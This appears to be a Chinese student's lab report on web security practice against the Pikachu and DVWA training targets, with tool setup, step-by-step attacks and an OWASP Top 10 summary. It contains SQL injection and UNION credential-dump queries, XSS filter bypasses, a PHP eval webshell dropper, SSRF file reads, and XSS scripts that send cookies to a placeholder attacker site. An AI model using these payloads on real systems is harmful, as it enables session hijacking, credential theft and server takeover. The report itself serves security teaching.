软件安全分析与应用之Web安全(二)
2.3 第 3 题 Web 安全
2.3.1 撰写安装报告
要求录屏
(1)Vmware;
首先找到.iso镜像
点击下一步我接受
下一步
下一步
下一步
下一步
点击升级等待完成安装
(2)kali-linux
克隆kali
等待安装
克隆成功
然后开始启动kali
输入账号密码
成功登录
(3)Phpsduty;
下载哪个都行
64位下载
等待下载
安装成功
双击进行安装
等待安装成功即可
(4)Pikachu/DVWA;
在github找到网址进行下载解压
之后完成数据库的初始化
就完成安装了就可以正常使用了
(5)Burp Suit 等实验环境的安装过程;
在网上找到
进行安装
再进行激活
(6)yakit
https://yaklang.com/
这个也可以
https://www.yaklang.io/products/download_and_install/#download
去官网下载
选择windows
进行下载
下载好后双击打开
下一步
选择好
点击安装点击完成
初始化引擎
点击立即重启
2.3.2 撰写渗透测试报告
必做内容:
(1)暴力破解+Burp Suit;
打开pikachu靶场
第一个基于表单的暴力破解
选择暴力破解
开启代理
点击login开始抓包准备暴力破解
找到包
开始暴力破解
发送到intruder爆破模块
加入爆破点
选择字典完成后
点击start attack
发现有不一样的
查看i相应包
登陆成功
第二个验证码绕过(在服务端)
随便输入进行抓包
可以发送到重放模块
点击发送
验证码错误
输入正确的验证码提示输入的密码用户名不对
由此断定验证码不刷新
那我们就可以开始爆破了发送到inturder模块
还是一样的操作发现有长度不一样的
双击进行打开
爆破成功
第三个验证码绕过(在客户端)
随便输入
点击 logiin
弹框出来
一看就是 js
索性咋们直接关闭js
发现验证码已经消失了
证明我们的猜想是正确的
进行抓包
发送到爆破模块
点击start attack
发现有不一样的
双击打开
登陆成功
点击第四关token防爆破
点击抓包
发送到重放模块
发现不出意外出现了token token是防爆破模块
所以发送到inturder模块
第一个正常选择一个字典
第二个咋们选择recursive grep
Token 这个只能并发一次
找到这个模块
点击add
搜索token
选中ok 复制
然后点击爆破 start attack
找到不一样的
双击进行打开
显示登录成功
(2)SQL 注入+Burp Suit;
砸门现在开始看sql 注入
咋们先看第一个
数字型输入post方式
咋们一看见就是根据id查询
查询名字跟邮箱地址
咋们进行抓包
发送到重放模块
咋们先试试修改id
因为是数字型所以咋们直接试试万能密码
查看源代码
没有做任何过滤
然后咋们看字符型注入 get方式
随便输入一串数字
所以我们可以构造sql语句
当我输入这个的时候
有语法错误并且数据库的版本是mysql
输入这个查询成功
查看源代码
看第三关探索性注入
首先输入
点击搜搜
看到中间有个% 就猜到‘%num%’这样的格式
然后我们输入万能密码
全部查询出来
查看源代码进行模糊匹配
咋们看第四个 xx 型注入
输入这个
发线报错
''12312'')'
然后闭合 ‘123123’’) 由这个可以看出这个加入了()
12312’ 是我输入的
说明我需要加)闭合前那边语句
12312’)
然后
输入
全部查出来
查看源代码
咋们看第五个insert/update注入
随便输入会提示登陆失败
点击注册按钮
随便输入
发送到重发模块
先了解一个小知识
输入以下
会显得数据库的版本不齐全
加了一下
数据库的版本完全回显出来
顺便看看数据库的名字
查看delete 注入
留言进行抓包
输入以下
看下一个http header注入
登陆成功
然后返回来抓包
如下
查询成功
布尔盲注直接用sqlmap跑
我们来看宽字节
进行抓包发送到重发模块了
查询成功
(3)Cross-Site Scripting(XSS);
来看xss
发现想输入但输入不进去了
所以我们修改前端代码f12
改成100
成功输入
存在xss漏洞
看反射型xss post方式
<script>alert(document.cookie)</script>
存储型xss
发现每次点击进来都会触发这个说明已经存储到数据库中的了
DOM型xss存储在页面标签上
Xss盲打
<script>alert("XSS")</script>
XSS盲打就是攻击者在进行XSS插入时不会在前端有回显,但是在后台可以看得到,当管理员进行后台登录时就会看到XSS的内容,如果存在这种漏洞危害性还是很大的,因为能直接盗取管理员的COOKIE拿到权限,但又十分隐蔽,只能进行尝试不能确保一定存在。
登陆到后台
xss过滤
大小写混淆过滤,<scRipt>alert(14)</sCript>
使用注释进行干扰: <sc<!--test--> ript> alert(14)</scr <--test--> ipt>
重写: <scri<script> pt> alert(14)</scri</script> pt>
使用img标签<img src=xss οnerrοr="alert(11)">
也可以输入这个
<img src=''οnerrοr='alert(1)'/>
正常
过滤了scipt
看xss之htmlspecialchars
xss之href输出
还是一样的
javascript:alert("XSS")
xss之js输出
tmac'</script><script>alert('xss')</script>
(4)RCE+SSRF+Unsafe Fileupload+Over permission
RCe
加上ipconfig
输入phpinfo()
file_put_contents('shell.php','<?php eval(@$_POST[0]);?>');
还可以用蚁剑链接
Ssrf
还可以输入url==file:///C:/windows/win.ini
使用php://filter/读php源代码
File=php://filter/read=convert.base64-encode/resource=ssrf_info/info2.php
客户端检测
服务端检测
修改mine 类型
第三个上传图片马
filename=../../unsafeupload/uploads/2024/12/06/6301276752e5d770f2a914828813.jpeg
实现水平越权
查看普通用户
超级用户
选择添加用户
复制url
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php
退出admin 重新登陆pikachu
输入网址
发现垂直越权
2.3.3 撰写软件安全分析报告
2013-2023 OWASP TOP10 的发展过程、理解、验证(POC)和利用(EXP)
必做内容:
(1)2013-2017 版 PHP ;
2013年版本:
注入(Injection)
失效的身份认证和会话管理(Broken Authentication and Session Management)
跨站脚本(Cross-Site Scripting, XSS)
不安全的直接对象引用(Insecure Direct Object References)
安全配置错误(Security Misconfiguration)
敏感数据泄露(Sensitive Data Exposure)
功能级访问控制缺失(Missing Function Level Access Control)
跨站请求伪造(Cross-Site Request Forgery, CSRF)
使用含有已知漏洞的组件(Using Components with Known Vulnerabilities)
未验证的重定向和转发(Unvalidated Redirects and Forwards)。
2017年版本:
注入(Injection)
失效的身份认证(Broken Authentication)
敏感数据泄露(Sensitive Data Exposure)
XML外部实体(XML External Entities, XXE)
失效的访问控制(Broken Access Control)
安全配置错误(Security Misconfiguration)
跨站脚本(Cross-Site Scripting, XSS)
不安全的反序列化(Insecure Deserialization)
使用含有已知漏洞的组件(Using Components with Known Vulnerabilities)
不足的日志记录和监控(Insufficient Logging & Monitoring)。
(2)验证(POC)和利用(EXP)的过程描述;
(3)案例详解;
1. OWASP TOP 10 发展过程(2013 - 2017)
2013 版:
注入(Injection):包括 SQL、OS 和 LDAP 注入等。在 PHP 中,SQL 注入常见于用户输入未经过滤直接拼接到 SQL 语句中。例如:
php
复制
$sql = "SELECT * FROM users WHERE username = '$_POST['username']' AND password = '$_POST['password']'";
这里如果用户输入包含 SQL 语句,就可能导致数据库信息泄露。
失效的身份认证和会话管理(Broken Authentication and Session Management):在 PHP 应用中,若会话 ID 没有妥善管理,如没有设置合适的超时时间或在传输过程中没有加密,可能导致用户会话被劫持。
跨站脚本攻击(XSS):当 PHP 应用没有对用户输入进行合适的过滤和转义,就会出现 XSS。例如:
php
复制
echo $_GET['message'];
如果message参数包含恶意脚本,就会在用户浏览器中执行。
2017 版:
注入:依然是重要威胁。PHP 开发中持续强调对用户输入进行严格的过滤和参数化查询来防止注入。
敏感信息泄露(Sensitive Data Exposure):PHP 应用可能会因为错误的配置(如 PHP 配置文件中的display_errors设置为On,导致错误信息泄露敏感数据)或者在数据传输和存储过程中没有加密而导致敏感信息暴露。
2. 验证(POC)和利用 (EXP) 的过程描述
SQL 注入(以 PHP 为例)
POC(概念验证):
假设存在一个 PHP 登录页面,其 SQL 查询语句如上述存在漏洞的示例。我们可以尝试在用户名输入框中输入' or '1'='1,密码随意输入。此时形成的 SQL 语句为:
sql
复制
SELECT * FROM users WHERE username = '' or '1'='1' AND password = '[随意密码]'
由于'1'='1'条件恒成立,可能会绕过登录验证。
另一种常见的是在搜索框中进行测试。例如,在一个搜索产品的 PHP 页面中,如果搜索语句是SELECT * FROM products WHERE name LIKE '%[用户输入]%',我们可以输入%' or '1'='1,可能会返回所有产品信息。
EXP(利用):
一旦通过 POC 验证了 SQL 注入漏洞存在,攻击者可以进一步利用。例如,通过UNION SELECT语句获取更多数据库中的敏感信息:
sql
复制
SELECT * FROM users WHERE username = '' UNION SELECT username, password, null FROM users -- AND password = '[随意密码]'
这里--是 SQL 注释符,用于注释掉后面的原有密码验证部分,攻击者可能获取到所有用户的用户名和密码。
XSS(以 PHP 为例)
POC:
在一个 PHP 留言板系统中,当用户输入的留言内容直接显示在页面上时,我们可以在留言框中输入<script>alert('XSS');</script>。如果页面弹出提示框XSS,则说明存在 XSS 漏洞。
EXP:
攻击者可以利用 XSS 漏洞进行更恶意的操作。例如,将恶意脚本改为<script>document.location = 'http://攻击者网站.com/cookie.php?'+document.cookie;</script>,当用户访问带有此恶意脚本的页面时,用户的 cookie 信息会被发送到攻击者网站,从而可能导致用户会话被劫持。
3. 案例详解
案例:PHP 网站 SQL 注入导致数据泄露
场景:
某 PHP 开发的电商网站有一个商品搜索功能。其后台处理搜索请求的 PHP 代码如下:
php
复制
$search_term = $_GET['term'];
$sql = "SELECT * FROM products WHERE name LIKE '%$search_term%'";
$result = mysqli_query($conn, $sql);
while ($row = mysqli_fetch_assoc($result)) {
// 显示产品信息
}
漏洞发现:
攻击者在搜索框中输入%' or '1'='1进行测试,发现返回了所有产品信息,初步判断存在 SQL 注入漏洞。
攻击过程:
攻击者进一步构造 SQL 语句来获取更多敏感信息,如%' UNION SELECT user, password, null FROM users --,这可能会获取到网站用户的登录信息(假设数据库中users表存储了用户信息)。
攻击者获取用户登录信息后,可能尝试登录用户账号,进行未授权的操作,如修改用户订单、查看用户隐私信息等。
防范措施:
使用参数化查询(Prepared Statements)来处理用户输入。例如:
php
复制
$stmt = $conn->prepare("SELECT * FROM products WHERE name LIKE CONCAT('%',?,'%')");
$stmt->bind_param("s", $search_term);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// 显示产品信息
}
对用户输入进行严格的过滤和验证,去除可能导致 SQL 注入的特殊字符。
案例:PHP 网站 XSS 攻击导致用户会话劫持
场景:
一个 PHP 论坛网站,用户发表的帖子内容会直接在页面上显示。其显示帖子内容的 PHP 代码如下:
php
复制
$post_content = $_POST['content'];
echo $post_content;
漏洞发现:
攻击者在发表帖子时输入<script>alert('XSS');</script>,发现页面弹出提示框,确定存在 XSS 漏洞。
攻击过程:
攻击者修改恶意脚本为<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://攻击者网站.com/cookie.php?'+document.cookie, true);xhr.send();</script>。当其他用户访问包含此恶意帖子的页面时,用户的 cookie 会被发送到攻击者网站。
攻击者获取用户 cookie 后,可以伪造用户身份登录论坛,进行恶意操作,如发布垃圾广告、篡改其他用户帖子等。
防范措施:
对用户输入的内容进行 HTML 实体编码(HTML Entity Encoding),例如使用htmlentities()函数:
php
复制
$post_content = htmlentities($_POST['content']);
echo $post_content;
设置合适的Content - Security - Policy(CSP)来限制页面加载外部脚本,防止恶意脚本执行。
总结与反思
以下是关于 pikachu、DVWA 靶场搭建,OWASP Top 10 漏洞实践,以及 Burp、Yakit 安装的总结与反思:
一、靶场搭建
Pikachu 靶场
搭建过程
环境准备:需要有 PHP 环境和 MySQL 数据库支持。通常使用集成环境如 XAMPP 或 WAMP 来简化配置。
下载与配置:从官方渠道获取 Pikachu 靶场代码,解压到网站根目录(例如 XAMPP 的htdocs目录)。然后配置数据库连接信息,通过访问安装页面完成数据库初始化。
问题与解决
数据库连接失败:这可能是由于配置文件中的数据库用户名、密码或主机地址填写错误。需要仔细检查config.inc.php文件中的数据库配置信息,并确保 MySQL 服务已正常启动。
权限不足:在 Linux 环境下,可能会遇到文件或目录权限不足的问题。需要对相关文件和目录赋予合适的读写权限,例如chmod -R 755 pikachu_directory。
DVWA 靶场
搭建过程
依赖安装:DVWA 依赖于 PHP 和 MySQL。同样可以使用集成环境。它还需要一些 PHP 扩展如gd、mysqli等。
配置与安装:下载 DVWA 代码后,将其放在网站根目录,然后重命名config/config.inc.php.dist为config/config.inc.php,并配置其中的数据库连接参数。通过浏览器访问安装页面进行初始化。
问题与解决
安全级别设置无效:如果在 DVWA 中设置的安全级别没有生效,可能是由于配置文件没有正确保存更改。确保对config.inc.php的修改被正确保存,并检查相关 PHP 错误日志以查找问题。
文件上传漏洞测试失败:这可能是由于服务器配置限制了文件上传类型或大小。需要检查 PHP 配置文件(php.ini)中的upload_max_filesize和post_max_size参数,并根据需要进行调整。
二、OWASP Top 10 漏洞实践
漏洞类型实践
注入类漏洞(SQL、命令等)
实践过程:在靶场环境中,通过在输入框中构造恶意 SQL 语句或命令来测试注入漏洞。例如在存在 SQL 注入漏洞的登录页面,输入' or '1'='1尝试绕过登录验证。
学习收获:深刻理解了未对用户输入进行严格过滤和参数化处理会导致数据库或系统被恶意操作。同时学会了如何使用预编译语句(如在 PHP 中使用PDO或mysqli_prepare)来防范 SQL 注入。
跨站脚本攻击(XSS)
实践过程:在留言板、搜索框等功能模块输入恶意脚本代码,如<script>alert('XSS');</script>来测试是否存在 XSS 漏洞。
学习收获:明白了对用户输入进行 HTML 编码和设置合适的Content - Security - Policy(CSP)可以有效防止 XSS 攻击。并且了解到 XSS 可以分为反射型、存储型和 DOM 型,每种类型的攻击方式和防范措施都有所不同。
问题与解决
漏洞利用失败:有时构造的漏洞利用语句可能由于靶场环境中的某些过滤机制而失败。这时需要仔细分析可能的过滤点,并尝试绕过这些过滤。例如,某些系统会对关键字进行过滤,这时可以尝试使用大小写混合、编码(如 URL 编码、十六进制编码)等方式绕过过滤。
误判漏洞类型:在实践过程中,可能会将一些漏洞误判为其他类型。例如,将存储型 XSS 误判为反射型 XSS。这需要仔细分析数据的存储和交互过程,查看数据是临时在请求中反射还是被持久化存储后再展示。
三、工具安装
Burp Suite
安装过程
下载与安装:从官方网站下载 Burp Suite 的安装包(有免费版和专业版,免费版功能有限但足以满足基本学习需求),按照安装向导进行安装。
配置与启动:安装完成后,需要配置 Java 环境(因为 Burp 是基于 Java 开发的),确保JAVA_HOME环境变量已正确设置。启动 Burp 后,可以进行代理设置等操作,使其能够拦截和分析 HTTP/HTTPS 流量。
问题与解决
无法启动:如果 Burp 无法启动,可能是由于 Java 环境配置问题。检查JAVA_HOME是否指向正确的 Java 安装目录,并且确保 Java 版本符合 Burp 的要求。
代理设置无效:在设置浏览器代理通过 Burp 进行流量拦截时,如果发现无法拦截到流量,需要检查浏览器代理设置是否正确,以及 Burp 中的代理监听端口是否被其他程序占用。
Yakit
安装过程
下载与安装:从官方渠道获取 Yakit 安装包,按照提示进行安装。Yakit 是一款国产的网络安全工具,集成了多种功能。
初始化与配置:安装完成后,首次启动可能需要进行一些初始化操作,如注册账号(部分功能可能需要登录使用),配置网络接口等。
问题与解决
功能异常:如果在使用 Yakit 的某些功能时出现异常,如漏洞扫描不准确等,可能是由于没有正确配置扫描参数或目标环境存在特殊情况。这时需要仔细查看工具的使用手册,调整扫描策略和参数。
与其他工具冲突:在同时运行多个网络安全工具时,Yakit 可能会与其他工具产生冲突,例如端口占用问题。需要合理安排工具的使用,避免端口冲突等情况。
四、总结与反思
知识与技能提升
通过靶场搭建和漏洞实践,深入掌握了 OWASP Top 10 漏洞的原理、攻击方式和防范措施。这对于提高网络安全意识和进行安全开发有很大帮助。
学会了如何使用 Burp 和 Yakit 等安全工具进行漏洞挖掘、分析和防范,这些工具在实际的网络安全工作中非常重要。
不足之处
在靶场搭建过程中,有时会忽略一些环境配置细节,导致搭建失败或出现漏洞利用不成功的情况。以后在进行类似操作时,需要更加仔细地阅读官方文档和注意环境配置要求。
在漏洞实践中,对于一些复杂的绕过技巧和新型漏洞变种的理解还不够深入,需要进一步学习和研究相关案例。
在工具使用方面,虽然能够基本操作 Burp 和 Yakit,但对于一些高级功能和优化使用技巧还不够熟练,需要通过更多的实践来提高。
改进措施
在进行任何技术操作前,详细列出步骤和检查点,确保操作过程的严谨性。
持续关注网络安全领域的最新动态,学习新出现的漏洞类型和攻击防御技术。
深入学习安全工具的高级功能,通过实际项目和模拟演练不断提高工具使用的熟练度。
参考文献
以下是一些关于 pikachu、DVWA 靶场搭建,OWASP Top 10 漏洞,Burp 和 Yakit 相关的参考文献:
一、靶场搭建
Pikachu 靶场
官方文档:Pikachu 靶场本身通常会有官方的搭建指南,可从其官方网站获取相关资料。
在线教程:许多网络安全学习网站都有关于 Pikachu 靶场搭建的教程,例如 “Freebuf”(https://www.freebuf.com/)、“安全客”(https://www.anquanke.com/)等网站上可能有相关文章。
DVWA 靶场
官方文档:DVWA 官方网站提供了详细的安装和配置文档,包括所需的 PHP 环境、数据库设置等。
书籍参考:《Web 安全深度剖析》这本书对 DVWA 靶场的搭建和漏洞原理有一定的讲解,可以作为参考。
二、OWASP Top 10 漏洞
官方报告
OWASP 官方网站:https://owasp.org/
OWASP 每年都会发布 Top 10 漏洞报告,这些报告详细阐述了各类漏洞的原理、影响和防范措施,是最权威的参考资料。
书籍
《OWASP Testing Guide》
这本书由 OWASP 组织编写,全面涵盖了 OWASP Top 10 漏洞的测试方法和实践案例,是学习和实践 OWASP 漏洞的重要参考。
《Web Hacking 101: Breaking Web Applications》
作者 Peter Yaworski 在书中对常见的 Web 应用程序漏洞进行了深入讲解,包括许多属于 OWASP Top 10 范畴的漏洞,书中有丰富的示例和案例分析。
三、Burp Suite
官方文档
PortSwigger 官方网站:https://portswigger.net/burp/documentation
Burp Suite 的开发者 PortSwigger 提供了全面的官方文档,包括工具的安装、配置、各个功能模块的使用方法等详细内容。
书籍
《Burp Suite Cookbook》
这本书专注于 Burp Suite 的使用,通过大量的实际操作案例和技巧,帮助读者深入掌握 Burp Suite 在网络安全测试中的应用。
四、Yakit
官方文档
Yakit 官方网站:https://yakit.org/
Yakit 官方网站上有工具的下载链接、安装指南和基本的使用说明,对于了解和使用 Yakit 有很大帮助。
在线教程和博客文章
在一些网络安全论坛和技术博客上可以找到关于 Yakit 使用经验分享和案例分析的文章,例如 “先知社区”(https://xz.aliyun.com/)等可能会有相关内容。
这些参考文献涵盖了从基础的靶场搭建到漏洞实践,再到相关安全工具使用的各个方面,能够为你的学习和研究提供全面的支持。
相关文章:
软件安全分析与应用之Web安全(二)
2.3 第 3 题 Web 安全 2.3.1 撰写安装报告 要求录屏 (1)Vmware; 首先找到.iso镜像 点击下一步我接受 下一步 下一步 下一步 下一步 点击升级等待完成安装 (2)kali-linux 克隆kali 等待安装 克隆成功 然后开始启…...
CEH与OSCP:网络安全认证对比分析
在网络安全领域,渗透测试被视为至关重要的一环,帮助企业检测和修复系统漏洞。为提升行业标准,许多认证应运而生,其中CEH和OSCP作为行业认可度较高的认证,广泛被网络安全从业者选择。尽管这两者都涉及渗透测试领域&…...
如何通过强化学习RL激励大型语言模型(LLMs)的搜索能力?R1-Searcher来了
R1-Searcher,这是一种使用 RL 增强 LLM 的 RAG 能力的新框架,通过两阶段强化学习(RL)实现LLM在推理过程中自主调用外部检索系统,突破模型固有知识限制。 为了通过探索外部检索环境来激励大语言模型的搜索能力,设计了一种基于结果的两阶段强化学习方法,通过定制的奖励设计…...
AI重构电商内容体系:企业如何突破生产、管理、分发三重门?
在电商内容需求激增的2025年,AI技术已成为破解内容生产低效、管理混乱、分发粗放的核心工具。特赞科技服务案例显示,企业通过AIGC数字资产管理方案可实现效率300%提升。 内容科技驱动电商新范式 电商内容已从"商品说明书"演变为体验经济载体…...
版本控制器Git(1)
文章目录 前言一、初识Git问题引入解决方案注意事项 二、Git安装三、Git配置与基本操作Git创建Git配置用户名称和地址认识工作区、暂存区、版本库添加文件到仓库添加文件到暂存区提交暂存区内容到本地仓库 查看提交历史 四、Git 暂存区、HEAD、对象库及文件Git内部结构概览查看…...
VMware安装Windows server 2016
1、新建虚拟机,选择自定义模式 2、选择兼容性 4、命名虚拟机 5、固件类型 EFI 虚拟磁盘类型,不同电脑推荐的类型不同,用默认的就行 删除声卡和打印机 检查网络配置 选择本地的Windows server 2016的系统镜像,系统镜像可以去Window…...
【编程向导】-JavaScript-基础语法-类型检测
类型检测 类型检测的方法: typeofinstanceofObject.prototype.toStringconstructor typeof typeof 操作符返回一个字符串,表示未经计算的操作数的类型。 typeof undefined; // "undefined" typeof null; // "object" typeof 10…...
Python并发编程实战:突破GIL限制的工程化解决方案
一、GIL的本质与影响范围 **全局解释器锁(Global Interpreter Lock,GIL)**是CPython解释器的核心机制,其本质是一个互斥锁,保证同一时刻只有一个线程执行Python字节码。这一设计使得: ✅ 简化内存管理:避免多线程竞争对象引用计数 ❌ 限制多核性能:CPU密集型多线程程序…...
FPGA学习篇——Verilog学习之全加器的实现
跟着野火的视频学习了一下全加器的实现~ 1 半加器和全加器原理 首先,解释一下为什么全加器的 公式还可以写成以下形式: (1)首先我们要明白: 因为由真值表来看,他们是不相同的(当ab1时ÿ…...
嵌入式学习L6网络编程D4多进程并发
多线程 客户端 /*./client serv_ip serv_port */ #include "net.h"void usage (char *s) {printf ("\n%s serv_ip serv_port", s);printf ("\n\t serv_ip: server ip address");printf ("\n\t serv_port: server port(>5000)\n\n"…...
四层协议攻防手册:从SYN Flood到UDP反射的深度防御
一、四层协议攻击类型与特征 攻击类型协议层特征SYN FloodTCP大量半开连接,SYN_RECV状态堆积UDP反射放大UDP小请求包触发大响应(如NTP、DNS响应)TCP分片攻击TCP发送异常分片耗尽重组资源连接耗尽攻击TCP建立大量空闲连接占用端口资源 二、TC…...
hive开窗函数
进入hive [root@hadoop01 conf]# hive ... hive (default)> show databases; OK database_name default Time taken: 0.528 seconds, Fetched: 1 row(s)创建数据库 hive (default)> create database test; hive (default)> use test;创建表 字段名字段字段类型学号S…...
【技术白皮书】内功心法 | 第二部分 | Telnet远程登录的工作原理
远程登录的工作原理 背景介绍远程登录远程登录的服务模式远程登录服务的实现基础远程登录服务的运行模式Telnet服务为什么不被操作系统管理 Telnet协议的原理网络虚终端(NVT)结束标示NVT的原理NVT屏蔽差异 背景介绍 绝大多数计算机都是运行多用户操作系…...
AnyPlace助力Franka突破物体形状与配置多样性挑战
物体几何形状与放置配置多样性的挑战 在机器人操作领域,物体放置一直是一个复杂且富有挑战性的任务。由于物体的几何形状和放置配置的多样性,实现稳健且可推广的物体放置变得尤为困难。 传统的机器人放置方法往往依赖于大量的特定任务演示,…...
【工控】线扫相机小结 第五篇
背景介绍 线扫相机通过光栅尺的脉冲触发, 我在调试线扫过程中,发现图像被拉伸,预设调节分配器。图像正常后,我提高的相机的扫描速度(Y轴动的更快了)。 动的更快的发现,图像变短了(以…...
【Prometheus】层层解析prometheus如何监控k8s核心组件
✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全…...
泄露测试仪CTS的Sentinel I28使用
前言:本文档主要讨论CTS Sentinel I28的使用方法,设备图片如下: 具体文档可从下面链接下载: https://download.csdn.net/download/qq_34047402/90471262 泄露测试仪CTS的SentinelI28使用资源-CSDN文库 [注意] 调压方式,若选择机械式调压,那么测试的压力值只能有1个,…...
Python字典,集合
一.字典 在 Python 中,字典(dict)是一种非常重要且常用的数据结构,它用于存储键值对. 如下为字典的创建,打印键,打印值,和清空的操作 二.集合 在 Python 中,集合(set)是一种无序且唯一的数据…...
【数据分析大屏】基于Django+Vue汽车销售数据分析可视化大屏(完整系统源码+数据库+开发笔记+详细部署教程+虚拟机分布式启动教程)✅
目录 一、项目背景 二、项目创新点 三、项目功能 四、开发技术介绍 五、项目功能展示 六、权威视频链接 一、项目背景 汽车行业数字化转型加速,销售数据多维分析需求激增。本项目针对传统报表系统交互性弱、实时性差等痛点,基于DjangoVue架构构建…...
Ubuntu用户安装cpolar内网穿透
前言 Cpolar作为一款体积小巧却功能强大的内网穿透软件,不仅能够在多种环境和应用场景中发挥巨大作用,还能适应多种操作系统,应用最为广泛的Windows、Mac OS系统自不必多说,稍显小众的Linux、树莓派、群辉等也在起支持之列&#…...
关于sqlalchemy的ORM的使用
关于sqlalchemy的ORM的使用 二、创建表三、使用数据表、查询记录 二、创建表 使用Mapped来映射字段 from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker,Mapped,mapped_columnBase declarative_base() engine create_engin…...
C 语言分支与循环:构建程序逻辑的基石
在 C 语言的世界里,分支和循环结构是编程的核心内容,它们赋予了程序根据不同条件执行不同操作以及重复执行特定代码段的能力,让程序变得更加智能和高效。今天,我们就深入探讨 C 语言分支和循环的相关知识,助力大家夯实…...
J-LangChain - Agent - 编排一个 ReAct + Function Call 反应链
系列文章索引 J-LangChain 入门 介绍 j‑langchain 是一款基于 Java 的 AIGC 编排框架,致力于集成多种大模型(LLM)调用及 RAG 工具。自 1.0.8 版本起,我们引入了工具函数(Function Call)调用能力…...
Rust 之一 基本环境搭建、各组件工具的文档、源码、配置
概述 Rust 是一种强调性能、类型安全和并发性的通用编程语言。它强制执行内存安全,使用其特有的所有权机制,而无需传统的垃圾收集器。Rust 不强制执行编程范式,但受到函数式编程思想的影响。 最初是由 Mozilla 员工 Graydon Hoare 在 2006 年…...
详细介绍 Jupyter nbconvert 工具及其用法:如何将 Notebook 转换为 Python 脚本
nbconvert 是 Jupyter 提供的一个非常强大的工具,允许用户将 Jupyter Notebook 文件(.ipynb)转换成多种格式,包括 Python 脚本(.py)、HTML、PDF、LaTeX 等。你可以通过命令行来运行 nbconvert,也…...
C语言之预处理
预处理 一.头文件的包含1.1头文件的作用1.2包含头文件的方式- 包含标准库头文件- 包含用户自定义头文件 1.3嵌套文件包含 二.条件编译2.1条件编译的作用2.2条件编译的指令 三.预定义符号四.define4.1define定义常量4.2#define定义宏4.2.1定义宏时常见错误 4.3宏替换的规则4.4带…...
AcWing--869.试除法求约数
题目: 给定 n 个正整数 ai,对于每个整数 ai,请你按照从小到大的顺序输出它的所有约数。 输入格式 第一行包含整数 n。 接下来 n 行,每行包含一个整数 ai。 输出格式 输出共 n 行,其中第 i 行输出第 i 个整数 ai 的所有…...
【HeadFirst系列之HeadFirstJava】第16天之深入解析 Java 集合与泛型:高效管理数据的终极指南!(含代码实战)
Java 集合与泛型全解析:数据结构的奥秘(基于 Head First Java 第 16 章) 在 Java 开发中,我们经常需要存储和操作大量数据。如何高效地存储、检索和操作数据?如何避免数组的局限性?Java 集合框架ÿ…...
【从零开始学习计算机科学】操作系统(七)文件管理
【从零开始学习计算机科学】操作系统(七)文件管理 文件管理文件的逻辑结构文件的读写方式文件的物理结构与组织文件目录空闲块管理文件的共享文件的权限控制与保护文件系统的其他功能文件管理 文件管理主要涉及文件的逻辑组织和物理组织,目录的结构和管理。所谓文件管理,就…...
Stable Diffusion F.1模型全面解析
一、引言:生成式AI的变革与SD模型的演进 生成式AI的崛起 扩散模型(Diffusion Model)成为图像生成领域的主流范式,其通过逐步去噪过程实现高保真图像合成。Stable Diffusion(SD)作为开源社区标杆,…...
基于SpringBoot的手机销售网站设计与实现(源码+SQL脚本+LW+部署讲解等)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
上海利氪科技-再次续订MappingSpace
2024年6月,智能底盘系统方案商利氪科技完成C轮融资,本轮融资规模超10亿元人民币。 成立于2021年,利氪科技短短三年时间就已获得近20亿元融资。 利氪科技是领先的智能线控底盘系统方案商。公司聚焦新能源汽车和自动驾驶核心领域,依…...
go注册rpc接口
1.定义proto文件: syntax "proto3";package pb;service Service { rpc RPC (Request) returns (Reply) {} }message Request {string Action 1;int64 TraceID 2;string Payload 3; }message Reply {int32 Code 1;int64 TraceID 2;string Pa…...
如何在Spring Boot中校验用户上传的图片文件的两种方法
在现代应用中,用户上传图片是一个常见的需求。无论是社交平台、电子商务网站还是任何需要用户交互的应用,图片上传功能都显得尤为重要。但合理地校验用户上传的图片文件是必不可少的步骤,避免不合规的文件影响系统的稳定性和安全性。本文将介…...
如何将一个项目推送到gitlab
1. 初始化本地项目为 Git 仓库 若本地项目还不是 Git 仓库,要先将其初始化为 Git 仓库。在项目根目录下打开终端,执行如下命令: git init 2. 添加文件到暂存区 使用 git add 命令把项目中的文件添加到暂存区。若要添加所有文件࿰…...
【JavaWeb学习Day24】
Web前端实战 Vue工程化 Vue是一款用于构建用户界面的渐进式的JavaScript框架。(官方:https://cn.vuejs.org) Vue项目工程化:在企业级的前端项目开发中,把前端开发所需求的工具、技术、流程、经验等进行规范、标准化。…...
Scratch034豌豆发射(下)
知识回顾 1、克隆体点击角色的判断 2、使用克隆体时“停止该角色其他脚本”积木的作用范围。 效果演示 提示:这里可以添加本文要记录的大概内容每隔一段时间,舞台右侧就会出现多个除草机向左移动 点击不同位置的豌豆射手,可以发射豌豆攻击对应位置的除草机 除草机被豌豆击中…...
nacos下载及安装
下载官方最新稳定版 github下载较慢,推荐下面的下载链接 Nacos Server 下载 | Nacos 官网 点击下载和试用下载最新稳定版 Nacos Server 下载 | Nacos 官网 配置检查(可选) 默认情况下,Nacos 使用内置的 Derby 数据库&#x…...
javase集合框架Map篇
一、常见的Map的实现 有HashMap、Hashtable、LinkedHashMap、TreeMap、ConcurrentHashMap。 二、HashMap和Hashtable 的区别 HashMap:底层是基于数组链表,非线程安全的,默认容量是16、允许有空的健和值。 Hashtable:基于哈希表…...
【RAGFlow】windows本地pycharm运行
原因 由于官方只提供了docker部署,基于开源代码需要实现自己内部得逻辑,所以需要本地pycharm能访问,且docker运行依赖得其余组件,均需要使用开发服务器得配置。 修改过程 安装python 项目依赖于Python 版本:>3.1…...
STM32初始安装
前言 很多人刚买来STM32就迫不及待地想要用它来写程序,看见STM32开发版和ST-Link上有几个插口就直接连接,结果就像我一样一不小心就导致ST -Link烧坏了😂 所以本篇博客将做最基础的但是对于小白来说最重要的教学,STM32的线路连接…...
数据库系统概论(二)数据模型
